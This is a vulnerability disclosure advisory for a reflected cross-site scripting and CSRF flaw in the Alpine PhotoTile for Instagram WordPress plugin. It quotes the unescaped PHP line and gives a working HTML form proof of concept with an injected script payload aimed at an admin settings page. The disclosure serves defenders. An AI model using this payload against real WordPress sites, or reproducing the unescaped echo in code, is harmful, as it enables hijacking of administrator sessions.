Cross-Site Scripting in Alpine PhotoTile for Instagram WordPress Plugin

Abstract

A Cross-Site Scripting vulnerability was found in the Alpine PhotoTile for Instagram WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

OVE ID

OVE-20160725-0010

Tested versions

This issue was successfully tested on Alpine PhotoTile for Instagram WordPress Plugin version 1.2.7.7.

Fix

There is currently no fix available.

Introduction

Alpine PhotoTile for Instagram is a simple, stylish, and compact plugin for displaying Instagram photos in a sidebar, post, or page. A Cross-Site Scripting vulnerability was found in the Alpine PhotoTile for Instagram WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf.

Details

A reflected Cross-Site Scripting vulnerability exists in the Alpine Photo Tile for Instagam WordPress plugin. This vulnerability allows an attacker to perform any action with the privileges of the admin user. The affected code is not protected with an anti-Cross-Site Request Forgery token. Consequently, it can be exploited by luring the target user into clicking a specially crafted link or visiting a malicious website (or advertisement).

The vulnerability exists in the alpine-photo-tile-for-instagram/gears/alpinebot-admin.php file on line 887:

	+ '&client_id=<?php echo $_POST['client_id']; ?>'

The vulnerability can be exploited using specially crafted URL parameter. In order to exploit this issue the target user must click a specially crafted link or visit a malicious website (or advertisement).

Proof of concept

<html>
	<body>
		<form action="http://<target>/wp-admin/options-general.php?page=alpine-photo-tile-for-instagram-settings&tab=add" method="POST">
			<input type="hidden" name="hidden" value="Y" />
			<input type="hidden" name="add&#45;user" value="Y" />
			<input type="hidden" name="client&#95;id" value="&lt;&#47;script&gt;&lt;img&#32;src&#61;x&#32;onerror&#61;alert&#40;1&#41;&#32;&#47;&gt;" />
			<input type="hidden" name="client&#95;secret" value="bar" />
			<input type="hidden" name="alpine&#45;photo&#45;tile&#45;for&#45;instagram&#45;settings&#95;add&#91;submit&#45;add&#93;" value="Add&#32;and&#32;Authorize&#32;New&#32;User" />
			<input type="submit" value="Submit request" />
		</form>
	</body>
</html>

Questions or feedback?